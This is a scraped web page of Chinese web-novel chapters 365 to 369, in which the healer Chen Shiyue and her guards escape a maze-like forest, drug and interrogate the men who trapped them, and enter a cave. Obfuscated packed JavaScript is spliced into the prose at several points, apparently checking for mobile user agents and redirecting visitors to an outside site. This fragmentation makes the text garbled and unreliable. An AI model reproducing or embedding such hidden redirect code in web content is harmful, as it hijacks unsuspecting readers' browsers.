0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087792|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荆棘,“咱本来就是想把人引走,要不然早就动手了,这若是不追了,咱还跑什么?” “怎么不追了?”陈识月止步,回头望去,有些不明所以,“难道是林序?” 又追着林序跑了? 想来也是的,林序一个人跑得快,这小子动作敏捷得跟猴似的,想要追上他可不容易,带着这帮人在林子里转悠,肯定能转死他们! “姑娘,跑了这一路应该也累了吧?咱歇一歇?”迎春担忧的看向陈识月。 之前,姑娘还起着热。 这会可千万别累坏了。 他们都是习武之人,跟陈识月不一样。 “我没事,我们快走吧!”陈识月不敢逗留,这个时候哪儿还敢歇着? 一行人又继续往前走。 只不过走了很久,却始终没找到路,陈识月便觉得有些不太正常了,“等会!” “怎么了?”迎春忙问。 陈识月指了指前面,“冬、冬梅?” “啊?什么?”冬梅还没反应过来。 迎春脑子反应快,旋即低呼出声,“冬梅……这不是你刚才……” “哎呀我的娘啊!”冬梅慌忙上前,“这不是我之前劈开的那、那树杈吗?怎么会在这里?不对啊,咱走了挺长一段路的,怎么可能还会……” 陈识月环顾四周,那种阴森诡谲之感,让她瞬时头皮发麻。 “我们在绕圈子。”迎春呼吸微促,“我们一直在这里绕圈子!” 冬梅脑瓜子嗡嗡的,“迷路了?” 很显然。 是的。 “我们一直往左,看能不能绕出去!”陈识月抬步就走。 这下子,谁也不敢耽搁了。 走! 马上走! 快速走! 一直往左,一直往左,一直往左…… “完了!”冬梅伸手一指,“还是这里!” 前方,依旧是那一截断枝处。 这下子,所有人都脑瓜子疼,一个两个僵在原地,宛若泥塑木雕。 迎春率先反应过来,“既然往左不行,要不然咱试试往右?” 还能如何? 走! 一直往右,一直往右,一直往右…… 然而,结局都那样。 陈识月站在断枝处,好似一盆冷水兜头浇下,来了个透心凉,“还在原地。” 第三百六十五章 这是黎明前的黑暗 陈识月一番话,所有人都是沉默沉默更沉默。绕来绕去,都在原地,说明他们这一次怕是遇见了比追兵更可怕的事情。 迷途! 迷途不知返,若无人引导,他们可能真的走不出去了。 “不能再乱走了。”陈识月抿唇,“我们休息一下再说。” 继续乱走,只会越走越焦灼,人心就这么大,一旦乱了,哪儿还能捋出头绪? 所有人都坐下来,漆黑的林子里安静得不见半点动静,难怪后面的人没有追进来,是一个两个都不敢进来吧?他们都知道,这地方进来了,怕是再也出不去了。 等会,这地方那么安静? 怎么一点动静都没有? “大家小心点。”陈识月低语,“生火吧!” 现如今还能如何? 外面的人追不进来,这边生火也无妨。 火光燃起,倒是让人有了几分安全感。 冬梅和迎春的手脚很是麻利,又做了几个简易的火把,将一块平地稍微弄得齐整一些,作为临时休息之所。 火把安插在周围,能预防一些野兽的偷袭。 唯一庆幸的是,这里连风都透不进来,透着一股子靡靡的死气。 陈识月瞧着周围,又看了看每个人脸上透出的疲倦,很多话到了嘴边又被生生咽了回去,他们一定可以出去的。 夜里容易迷失方向,等天亮吧…… 天亮之后,一定可以的。 “姑娘累了吧?”迎春上前,“闭眼歇一歇,我们几个轮着看守,定然不会有事。” 身心俱疲,真怕姑娘扛不住。 陈识月低低的叹口气,“我没什么大碍,就是……很抱歉,把你们都带进了这地方,让你们也都跟我一起陷在了此处。” “姑娘这是哪里话?我们是一起来的,自然是要一起行动,到时候还得一起出去呢!”迎春笑着宽慰,“姑娘若是再这么见外,咱可就不高兴了,好歹也是过命的交情,就不要如此生分。” 陈识月无奈的叹口气,“希望天亮之后,情况会有所好转。” “如今的状况,是谁都无法预料的,惟愿咱们的牺牲,能换来有用的价值,希望安大人,林公子,欧阳捕头他们,都能平安的出去。若是如此,便也罢了!” 现如今,想法很简单。 出不去了,那就在这里待着,好好歇着,兵来将挡水来土掩。 四下安静下来,两个护卫先醒着,其他人抓紧时间休息。 火光摇曳,偶尔有火花哔哔啵啵的炸开。 陈识月闭上眼睛,身心俱疲的状态下,睡得很不踏实,一会是当初那个洞窟里的活人试药,一会又是那个未曾看清容脸的男子。 一会明一会暗,忽明忽暗。 脑子有点晕晕乎乎的,让人分不清楚是现实还是梦境。 迎春将外衣脱下,盖在了陈识月的身上,生怕她再度陷入昏睡之中,好在等了很久,也没见着陈识月不适,稍稍松懈些许。 冬梅努努嘴,迎春摇摇头。 两人行至一旁,各自心里有些忐忑。 “姑娘没事吧?”冬梅是心有余悸,“不会又昏睡过去了吧?那个男人说的话,到底有几分真几分假呢?” 迎春想了想,“不知真假,来日悉数告知少将军便是。” “那现在呢?”冬梅问,目光狐疑的环顾四周,“咱被困在这鸟不拉屎的地方,也不知道什么时候能出去?要是姑娘有个好歹,你我如何是好?咱也不是大夫。” 陈识月是大夫,可医者不自医,的确是个难题。 两人谋算了一番,觉得还是不能坐以待毙,都让陈识月一个人拿主意,不得愁白了头发?要是陈识月用脑过度,有个好歹……可就真的叫天天不应叫地地不灵。 “我脚程快,我去绕一圈,你好好护着姑娘,切记……定然不可离开,哪怕身边人都死绝了,也得跟着姑娘,定要寸步不离。”迎春反复交代。 冬梅牢牢记在心里,“你放心便是,我虽然脑子简单,但我也分得清轻重缓急,你之前如何做的,我接下来便照做。” “好。”迎春点点头。 如此,迎春便松了口气。 “快回去!”迎春环顾四周,“趁着这会你们都在,若是这里真的有歹人作祟,估计注意力也都在你们身上,恰好给了我机会。” 冬梅有些担忧,“那你速去速回,莫要勉强。若是没能找到出路,要尽快回来,姑娘身边不能离开人,还是要以姑娘为重。” “我知道!”迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16096715|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春纵身一跃,消失得无影无踪。 她的轻功自然是最好的,甚少遇见强敌,只不过如今有伤在身,还是要小心为上。 迎春一走,冬梅快速回到了陈识月的身侧,小心照料着,心里也有些焦灼,但愿迎春能早些回来,多个人多个帮手。 只是,过了半个多时辰,迎春那边还没有动静。 冬梅心内忐忑不安,别是出什么事了吧? 陈识月还在昏昏沉沉的睡着,冬梅小心翼翼的摸了摸她的额头,所幸没什么大碍,只不过瞧着她眉心紧蹙的模样,应该是有些不太舒服的。 迎春,你快些回来! 冬梅心里期许,奈何迎春一直没回来,这林子里透着诡异的安静,让人心里沉甸甸的,不知道会不会生出什么意外来? 然,这世间事,你怕什么就来什么。 半个时辰,一个时辰,两个时辰…… 眼见着到了黎明前,迎春都没有回来,冬梅是彻底坐不住了,一颗心砰砰乱跳,来回的绕着火堆踱步一时间也不知该如何是好。 冬梅坐不住,真的坐不住。 很大程度上,迎春比她有耐心,也比她有脑子,所以现在陈识月睡着了,冬梅就失去了主心骨,一时间也不知道该如何是好? “怎么了?”陈识月忽然开口。 冬梅一怔,转而欣喜的看向陈识月,“姑娘醒了?” 主心骨,主心骨醒了。 陈识月揉着眉心,略显疲惫的揉着太阳穴,脑瓜子有些疼,“迎春呢?” 冬梅:“……” 这不是正为迎春的事情烦心吗? “迎春呢?”陈识月又问。 目光逡巡周遭,她忽然意识到了什么,抬眸不敢置信的看着冬梅,“迎春去探路了?” 不等冬梅开口,陈识月已经猜到了。 “要不怎么说……姑娘是主心骨,最是聪明呢?”冬梅扯了扯唇角,嗫嚅着上前,“姑娘,迎春她……她去探路了,但是到现在都没回来。” 陈识月扶着树干,慢慢站起身,目光惊颤的环顾四周,“没发现其他人吗?” 这里真的只有他们吗? “暂时没发现。”护卫上前汇报。 这是黎明前的黑暗…… 第三百六十六章 想困死她?没那么容易! 如果这林子里没有其他人,但是迎春却失踪了,那人会丢在哪里呢?退一步讲,若是真的还有其他人,那其他人是依据什么来辨别方向,从中作恶的? 迎春不是手无缚鸡之力的人,不可能任人摆布,明明绕一圈就绕回来,但是她却没有回来,要么是发现了另一条路,要么是被人拦截了。 陈识月的心里乱糟糟的,一时间也没个决断。 “姑娘?”冬梅有些焦灼,“眼下该如何是好?” 天快亮了,黎明前的黑暗可真是黑。 “大家必须在一起,切莫分散开来,免得中了他人的圈套。”陈识月叮嘱,“大家先别乱动,等天亮再说。” 天黑,容易出各种状况。 等天亮…… 迎春,你可定要坚持住。 不管是死是活,都得把迎春找回来。 所有人都面色凝重,不只是担心迎春的安危,还有他们陷在这里,除了身上带着的水,就没剩下多少干粮了,甚至于这些水若是喝完了,就真的会饿死、渴死在这里。 沉默在黎明之前。 终于,光亮一点点的铺开。 原本死寂而昏暗的林子里,终于有了一线生机,入目所见的光亮,能让人有了面对黑暗的勇气,陈识月重新走到了,冬梅劈断枝丫的地方。 “那我们现在,就把昨夜走过的路,重新走一遍,大家要随时做好路标,做自己的记号。”陈识月意味深长的开口。 冬梅有些诧异,虽然没想明白,但迎春说过,姑娘怎么说……她就怎么做,脑子不够,那就乖乖听话。 所有人都没有吱声,姑娘怎么说,他们就怎么做,一路走一路做各自的记号,每个人留下的记号不一样,但每个人记每个人的,着实是有些手忙脚乱的。 陈识月不只是手在动,脚下也没闲着,等到所有人绕了一圈回来,回到了那断枝处,沉默便开始无声的蔓延。 好半晌,陈识月沉沉的吐出一口气,“大家都记号自己的记号,还有位置了吗?” “都记住了!” 众人回答。 “走!”陈识月重新开始走。 瞧着,似乎没什么异常。 所有人都走得小心翼翼,对于各自的记号,都分外小心的检查,第二趟的时候,显然就轻松了很多,因为所有人的注意力都落在了自己的记号上。 “大家都确认自己的记号没有偏差吗?”陈识月问。 众人你看看我,我看看你。 “好像没有。”冬梅说。 陈识月颔首,“那我们就先偏离些许,继续往前走,看是否还会绕回来?” “好!”冬梅不疑有他。 一行人继续朝着前走,继续边走边留记号,看上去似乎没什么异常,毕竟之前就是这么做的。 然而,等到第二圈绕回来的时候,情况似乎有些不一样了。 “我这记号……”冬梅皱起眉头,隐约觉得有些不太对劲,但一时半会她也说不出个所以然来,想了想,她猛地瞪大眸子,不敢置信的看向陈识月,“姑娘,我怎么觉得……” “觉得这可能不是你做的记号?”陈识月问。 冬梅连连点头,那三个护卫也发现了异常。 虽然图形是对的,甚至于大小、长短、花样都是一样的,但是多少有些区别,人在做事的时候,习惯性的掺杂了自己的习惯,若是换做旁人模仿,未必能一模一样。 不是自己的东西,怎么看怎么别扭,瞧着就不太对。 “我一路走来的时候,不只是手上在做记号,脚下也做了记号,可是手上做的记号都在,但是脚下的记号一个都没有。”陈识月压低了声音,“你知道这意味着什么吗?” 冬梅再傻,也是混过江湖的人,陈识月一番点拨,她就明白过来了,有人一直跟着她们,在她们做了记号之后,就依样画葫芦,引着她们一直在原地兜圈。 其实,也算不上原地兜圈。 而是人太相信自己,觉得自己做过记号了,看到之后就会下意识的去找下一个记号,于是乎就被记号指引着,又回到了断枝处。 于是,脑子里下意识的觉得,自己一直在原地绕圈,殊不知是被人刻意引回来的…… 他们没走出去,不是因为这林子里有诡,而是因为习惯性思维,然后产生了心理阴影,在无意识的情况下,被人拿捏了心里。 有人在**心术,而他们陷入了自证陷阱。 “姑娘,那接下来该如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16096716|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何是好?”冬梅有些焦灼。 陈识月深吸一口气,“继续朝前走,先不要打草惊蛇。” “是!”冬梅低低的应声。 她倒要看看,是哪个混账东西在这里装神弄鬼,最好别被她抓住,否则的话……她定要把他撕成东一块西一块! 三个护卫对视一眼,佯装无事发生,继续在后面跟着,却是愈发的精明起来,重新找到记号的时候,便来了个二次记号。 每个人都在等,等着那尾巴能自己露出狐狸尾巴…… 陈识月缓步朝前走去,虽然绕来绕去都差不多,但多少还是有区别的,她在山中长大,采了那么多年的草药,对山林之处多有了解,也更有生活经验,所以这会她有所辨识。 瞧着差不多,还是差了点,多少是有些区别的,只不过人在反复的视觉疲劳和心理阴影摧残下,会出现精神麻痹,这才是问题的关键。 但仔细看看,只要不按照标记走,他们还是可以绕出去的…… 这里不知道有什么,但绝对有人! 有人跟着他们,不辞辛劳的改换标记,一直把他们困在这里,这是要把他们困死?还是另有所图呢?人心,真是难测。 走累了,歇一歇。 头顶上落下来白灿灿的光,手里只剩下最后一点干粮,水也不多了,若是再耗下去,这地方就真的要成为他们的坟墓。 冬梅饿得前胸贴后背,肚子里叽里咕噜的,一口一口的灌水,脸色都有些苍白。 陈识月将最后一个馒头递过去,“赶紧的。” “我没事,姑娘你自己吃。”冬梅赶紧摇头。 陈识月一把塞进她手里,“我还指着你保护我呢!” 冬梅:“……” 语罢,陈识月站起身来。 “姑娘,你做什么?”冬梅不解。 陈识月环顾四周,然后便朝着树下走去,也不知道在倒腾什么,这会找一找,那边摘一朵,回头又在地上摸索着。 冬梅看着手里的馒头,虽然硬邦邦的,但好歹能撒牙缝。 “姑娘,你寻宝呢?”冬梅问。 陈识月意味深长的笑了,“是啊,在我眼里,山里到处都是宝,只不过你们不懂药材而已!” 第三百六十七章 踢瘸子那条断腿 一通翻找,又是挖又是摘又是剥树皮的,陈识月的一番操作,看得众人目瞪口呆,一时间也不知道她想干什么? “姑娘?”冬梅想了想,“您不会是饿得想吃树皮吧?” 早知道,那一个馒头就不吃了,看给姑娘饿的…… 陈识月一怔,“你想什么呢?我是那种会束手就缚的人吗?别着急,没吃饱也没关系,巧妇难为无米之炊,但巧妇总有巧妇的办法,没米……咱就吃药。” 冬梅嘴角一扯:“??” 吃上饭,就吃药? 大夫就是大夫,果然与众不同。 陈识月将收拢起来的草药,全部都放在帕子上,其后便开始捣烂,将汁液留下。 “别看是绿油油的,毒不死你们!”宽叶子用来充当承水之用,陈识月将汁液给每个人都分了一点,“喝了这个再喝点水,保管你们短期内精力充沛,绝对不会喊饿喊累。” 冬梅不敢置信,“这么管用?” “这本是无可奈何之用,要不是深陷在这里,我也不想如此。”陈识月道,“不饿只是幻觉,用草药迷惑了自身的体质,但眼下这状况,咱只能如此。” 每个人都喝上一点,暂时提升体力,虽是无奈之举,却也是不得不行! 稍瞬,冬梅就感觉到了异常,“身上有点暖暖的?” “起效了。”陈识月开口,“我们走!” 这会,每个人都是精神抖擞的。 药是个好东西,但是药三分毒,陈识月只能暂时提升所有人的体力,这东西撑不了多久,她只能尽快想办法先把那人给引出来再说。 还有便是迎春? 迎春去哪儿了呢? 他们走了这一路,始终没有发现有人活动过的痕迹,这很不正常,迎春不是个大意之人,向来是很有主意的,又为人小心谨慎,走过必定会留下痕迹。 现在,什么痕迹都没有? 这不正常。 绝对不正常。 “姑娘,怎么了?”看出陈识月不对劲,冬梅忙问。 陈识月问,“你可有发现迎春留下的痕迹?” 冬梅摇摇头,还真是没有。 “迎春不可能什么痕迹都不留,除非她落在他人手中,已经失去了反抗能力。”陈识月小声嗫嚅,脸色难看到了极点,只要一想到迎春可能遇见了危险,甚至于正在垂死挣扎,她这心里就跟猫抓似的。 难受! 一行人缓步朝前走,忽然间,陈识月“哎呦”一声。 “姑娘?”冬梅骇然。 陈识月跌坐在地上,似乎是崴到脚了? 冬梅正要把人扶起来,腕上一紧,是陈识月用了力。 四目相对,冬梅忽然回过味来。 这是…… “崴到脚了。”陈识月回答。 冬梅蹲下来,“姑娘,我背你。” 这样就不会露馅了。 “我没什么大碍,别担心!”话是这么说的,陈识月还是伏在了冬梅的脊背上,任由冬梅背着,继续往前走去。 在他们走后,递上落着一个小荷包,瞧着似乎是香囊? 人走远了,再也瞧不见踪影。 终于,有身影缓步上前,捡起了地上的香囊。 一个香囊罢了,里面塞着一些干花,瞧着没什么大碍,凑到鼻尖轻嗅,似乎也…… 眼一闭,身子骤然后仰。 所有的一切,都发生在一瞬间。 速度很快。 两道身影快速把人接住,一时间都不知道发生了何事,然而下一刻,两人都傻眼了? “这是怎么回事?” “好像是**!” 没错,的确像是**。 “快,把人带回去!” “不是……” 不等二人抬起此人,两人已经齐刷刷的倒下去。 一传十,十传百。 香囊一开,香气扑鼻。 谁能跑得了? 陈识月带着人回来的时候,每个人脸上都覆着沾湿的遮脸布,然后若有所思的看着晕倒的三人。 “姑娘,你猜的果然一点都没错,真的有人一直跟着我们,如今终于露出了狐狸尾巴!”冬梅有些欣喜,“抓住他们,是不是也能找到迎春的下落?” 陈识月不知道,但总归是希望。 人,很快就醒了。 绑在树上的滋味不好受,尤其是悬吊在半空,心肝脾肺肾都被拉伸着,双臂钻心的疼,“你……你们……你们放开我们!” 陈识月也不说话,只绕着三人走了一圈,似乎是在查验什么? 见此情形, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097557|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬梅也不敢吱声,怕坏了姑娘的计谋。 “功夫不弱,尤其是下盘功夫!”陈识月幽幽启唇,“简而言之,你们三跑得很快嘛!不只是快,甚至于还可能有……过目不忘的本事。” 三人骇然瞪大眸子,不敢置信的盯着陈识月,“你、你如何知道?” “本事不小嘛!”冬梅有些感慨。 三人不敢再说话了,只是面上都露出了惊恐之色,尤其是面对陈识月的时候。 眼前人似乎有看穿一切的双眸,明亮的眸子……让人不敢直视。 “怕什么?都已经到这地步了,还能比现在的局面更差吗?”陈识月不以为意,“一个余毒未清,一个身负内伤,还有一个是瘸子。” 音落瞬间,三人更是慌乱。 “余毒未清?身负内伤?”冬梅细细咂摸着陈识月的话,“这就是说,他们三个也是闯入的?” 陈识月不清楚,但是她可以肯定,他们肯定知道点什么? “你们自己都是在这林子里受害的,为何还要想着害别人?自己出不去,就不许别人也出去?还是说,藏着什么不可告人的秘密?”冬梅眯起危险的眸子,“不老老实实说话,就让你们缺胳膊断腿,当不了囫囵的人,做不了囫囵的鬼!” 冬梅一番话,说得掷地有声,手中冷剑应声抽出。 “咱可不是开玩笑的人,动动嘴皮子吓唬人,那是无能之辈,咱喜欢动真格的!” 瞧着冬梅手里明晃晃的冷剑,三人再度变了脸色,心知他们不是在开玩笑,这是真的要**? “何必如此麻烦!”陈识月银针在手,“血液逆流的滋味,试过吗?尤其是你,身上余毒未清,怕是很快就会毒发!” “不要!” “住手!” 另外两人慌忙开口,可见兄弟之间也是有些真情意的。 “既然都不想死,那就拿出点不想死的诚意来。”银针依旧在陈识月的指尖晃动,“有内伤的人,血液逆流的话,会伤上加伤,到时候可就更痛苦了!生不如死,不外如是。” 三人面色惨白,直勾勾盯着陈识月,没想到她看着文弱,可心思竟这般歹毒。 “哦,我也不介意让我的人,重新敲断你瘸的哪条腿。”陈识月坏笑着,晃了晃银针,“若是不信……咱可以实践一下。” 第三百六十八章 男人间的义字当头 看得出来,陈识月是真的会动手,尤其是她的银针,似乎早就对准了穴位,那种看他们如蝼蚁眼神,足以让人汗**直立。 之前黑衣人不一直提什么药人吗? 陈识月从来没有过这样的想法,但现在想想,若是真的有机会,也不是不可以的,恶人嘛……总是一刀两断太暴殄天物了,应该让他们为自己的恶行赎罪。 而赎罪最好的方式,是救人! 一命换一命,这很公平不是吗? “不要不要!”一人惊呼,“别别别,我们也只是、只是为了维护此处周全罢了,没有、没有真的要杀死你们的意思,只是让你们困在这里而已。” 陈识月挑眉,“原因呢?” “我们……我们……” 瞧着三人欲言又止的模样,冬梅眉心陡蹙,“还是扎针吧!” “别别别!” 事已至此,保命最要紧。 三人你看看我,我看看你,最后只能让其中一人站出来,将情况说明白。 “这是不归林。”瘸子开口,“我们三个也不是一开始就在这里,是被门主发配到这里的,因为我们三个犯了错,放走了几个江湖人……” 说到这里,另外两个叹口气,“那都是江湖人,总不能无缘无故就杀吧?误闯也不是罪,说说就得了,犯得着要打要杀的吗?” 这就是为什么,他们三个只是哄着所有人兜圈子,却没有下手的原因? “你们不想**,所以被丢在这里?”陈识月听出味儿来了。 三人齐刷刷点头。 “冬梅,把人放下来。”陈识月瞥了一眼冬梅。 冬梅颔首,与三个护卫联手,把三人放下来,但是依旧手脚绑缚,免得人跑了。 他们嘴里的话是真是假还不清楚,人是铁定不能丢的。 “我们本来也不算是江湖人,都是跟着六哥来的,要不然把人放跑了,估计早就被处决了,也是看着六哥的份上,给我们三留了命,这不……三个不是**就是内伤,还不是长乐门的人干的破事?”说起这个,受伤的那个揉了揉胸口,“那一掌,差点没把我五脏六腑都给震碎了。” 瘸子接过话茬,“我们没想**,你们进来的时候,我们就知道了,没想到你们连不归林也敢闯,就想着给你们兜几圈,困几天,等外头的人都走了,再放你们出去。” “谁曾想,你们有这么大的本事,直接把我们都药倒了!”余毒未清的男人,面色苍白的嘟囔,“早知道,就让你们自己去绕圈子罢了!反正这林子大,你们一时半会也出不去。” 外面,可还有人守着呢! “你们帮着长乐门的人,这叫助纣为虐,还有什么好委屈的?”冬梅居高临下的看着三个男人,“三个大男人,就这么被人压在头上,真是没骨气的怂包。孬种!” 三个男人对视一眼,都没有说话,但脸上的表情显然都是不服气的,一个两个的都有些气鼓鼓。 奈何,冬梅说的也没错。 三个人如今这般,也算是苟延残喘,怎么不算是怂包呢? 没勇气逃离,没本事反抗,又不甘心为人驱使…… “你们说的六哥是谁?”陈识月却从这里面挑出个词儿来,“任六?” 冬梅眉心陡蹙。 “对啊!”三人点头,“你认识我们六哥?” 陈识月与冬梅交换了一个眼神。 任六…… 他们能逃出洞窟,还得多亏了任六。 只不过不能把事情做得太绝,因为任六还在为长乐门效命,现如今还在石窟内,再好的功夫也怕车轮战,怕人暗算,所以这件事不能说破。 “听过,是条好汉。”陈识月一语带过,“既是任六的人,想来也是有些侠肝义胆的,不至于为非作歹,善恶不分。” 瘸子挠挠额角,“要是随波逐流,不早跟他们同流合污了吗?哪儿会沦落至此?不过你们现在这样,暂时是不可能出去的,外头的人都还守着呢!” “他们让你们守着不归林,没说什么吗?”陈识月问。 瘸子嗤笑,“怎么可能不说?三日内把人交出去,三日……寻常人不吃不喝的,三日之后哪儿还有挣扎的余地?你们这些人,应该是有什么东西,值得他们留你们活口吧?” 闻言,陈识月便明白了。 价值? 所有的价值,都在陈识月一人身上。 “三日?若是三日内不把人交出去,你们会如何?”陈识月问。 三个人面面相觑,“还能如何?再挨一顿打,一个已经打瘸了,一个打出了内伤,大不了……再添点新伤?死不了就苟活着。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100030|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“为什么不去找任六?”冬梅不解。 三人犹豫了。 “因为他不愿意走,要报恩,所以你们也不愿意走?”陈识月不明白,男人之间的情义这么别扭吗? 你不走我不走,我们生死在一起? 爱情都没那么牢固,义气竟如此坚不可摧? “我们也要报恩。”三人异口同声,“我们是三兄弟,当初要不是六哥,早就**,是他救了我们三,我们三当时就发誓,誓死跟着他,绝不违背誓言。” 所以就算是死,他们也要死跟着任六。 陈识月:“……” 真感人! 但…… 怎么觉得有点蠢? 报恩的方式有那么多种,为什么偏偏要选择这种呢? 想不明白。 “三日?”陈识月低语,“那就是说,他们还在外面等着?” 三人齐刷刷点头。 果然是三兄弟,做什么都是不约而同,一模一样。 “姑娘,那咱这会怕是出不去了。”冬梅有些犹豫。 陈识月忙问,“还有一个姑娘呢?昨晚那个。” 昨晚的? 三人你看看我,我看看你,面上表情略显滑稽,好似一个两个都没明白过来,“什么昨晚那个?你们不都在这了吗?” 要不怎么说,这三人有点缺心眼呢? 不缺心眼也不至于落陈识月手里。 “迎春在哪?”陈识月追问。 冬梅倒吸一口冷气,“你们不会是把人杀了吧?” “没有没有没有!”三人异口同声,“我们好久没**了!” 冬梅:“……” 陈识月扶额。 “我们真的没**。”瘸子忙解释,“昨晚我们就盯着你们,没发现异常。” 受内伤那位忽然倒吸一口冷气,“是不是我内伤犯了,你们都光顾着我那会……” 所以,跑了一个? 三人:“……” 有可能。 陈识月叹口气,“迎春不在你们的手里?那这林子里还有其他人吗?” “有的有的。”三人连连点头。 陈识月愕然,“真有?” 这林子还有其他人? “在那边山洞里,有个怪人。” 第三百六十九章 一个很臭很臭的山洞 此话一出,陈识月和冬梅都有些发懵。 还真的有? 怪人? 什么样的怪人? 怪到什么程度? “长乐门的人?”陈识月问。 三人你看看我,我看看你,似乎都答不上来。 “说话!”冬梅不悦。 瘸子犹豫了一下,“我们没敢进去,但是长乐门的人之前也没说,所以到底是不是长乐门的人,咱实在是不清楚。毕竟咱是半道出家,又不是真正的长乐门的人。” 他们是跟着任六过来的,其他一概不知。 “怎么个怪法?”陈识月忧心忡忡,迎春若是落那人手里,那还得了? 瘸子开口,“从没见过。” “夜里鬼哭狼嚎。” “洞里各种暗器陷阱还有毒物。” 三人你一言,我一语,说得陈识月脸色难看至极。 “所以,你们都没见过这里面的人出来?”陈识月问。 三人齐刷刷的摇头,“从来没走出过山洞,那个洞里面有水,又有蛇虫鼠蚁,他平日里应该就是吃住都在里面,长乐门的人也没管他,没送过吃食,谁知道他是怎么过活的?当然,咱也不清楚里面到底是一个人,还是两个人,或者是一帮人?” 不知道是不是长乐门的人? 不知道究竟有几个人? 不知道到底长什么样? 反正就是正邪难辨呗! 这会所有人都有点蒙蔽,所以……迎春到底在不在里面呢? “我们没瞧见你说的那位姑娘,咱平日里也不敢靠近那个山洞,洞口有枯骨,想必也是有人进去过的,但是没落个好。”瘸子继续说,“你们若只是误闯这山林,我奉劝你们一句,三日后咱们悄悄送你们离开,别去那山洞触霉头。” 陈识月没说话,冬梅站起身,“不行,如果迎春真的进了那个山洞没出来,我不会弃之不管,无论如何都要带她出来。” 他们是一起来的,自然是要生死与共。 “先带我们过去看看!”陈识月没有多话。 虽然不知道具体什么状况,但既然到了这时候,便也顾不得其他了。 山洞。 这山洞很是偏僻,周遭藤蔓恣意生长,洞口也是青苔密布,若不是拨开外头覆盖的藤蔓,怕是不会轻易发现这里面的山洞。 “这山洞还真藏得深。”冬梅有些感慨。 瘸子指了指里面,“我们没进去过,太吓人了,里面好多毒物,到洞口就给吓回来,谁还没事找死呢?你看看这外头的白骨,不知道**多少人。” **,被丢出来。 尸体无人管,最后就成了森森白骨。 “就这样,你们还敢进去?”三人齐刷刷看向陈识月。 陈识月倒是不怕什么毒物,蛇虫鼠蚁都怕她,连过山峰见着她都要让三分,估计不一定是毒,还有邪……身上一股子的邪气,那些毒物见着她都得掉头就跑。 “你们三个在外面看好他们!”陈识月转头,让三个护卫在外面看着,“冬梅,你跟我进去。” 冬梅颔首。 “姑娘?”三个护卫有些担忧。 陈识月示意他们稍安勿躁,“我是大夫,对付毒物最有一手,有冬梅保护我,不会有事的。倒是你们,看好他们三个,谨防有诈!” “是!” “是!” “是!” 三人垂下眼帘,毕恭毕敬的守在外头。 姑娘说什么就是什么。 撩开外头的藤蔓帘子,冬梅用简易火把照明,“姑娘小心脚下。” 洞内阴森森的,冷意一个劲的往骨头缝里钻,冻得人直打哆嗦,往内又走了一阵,才算稍稍缓和过来,只不过冬梅一直没瞧见所谓的毒虫毒蛇什么的。 “这也没什么异常啊?”冬梅不解。 陈识月借着火光环顾四周,“有蛇虫鼠蚁的,只不过看到我来了,所以赶紧撤离了,只不过他们说这里有暗器?” 冬梅将火把递给了陈识月,“姑娘,交给我。” 捻起一把石子,冬梅的动作很是麻利,随手就丢了出去,紧接着便是噼里啪啦的一阵。 “还真别说,的确有陷阱。”冬梅皱起眉头,那接下来可就不能贸贸然前进了,还是要小心为上,“姑娘站着别动,我先探探路。千万不要过来!” 陈识月握紧手中的火把,“我知道。” 她没冬梅这一身好功夫,动作必不敏捷,所以她不能拖累冬梅。 冬梅的动作很快,虽然相较于迎春要慢上些许,但应付山洞内的状况,还是绰绰有余的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 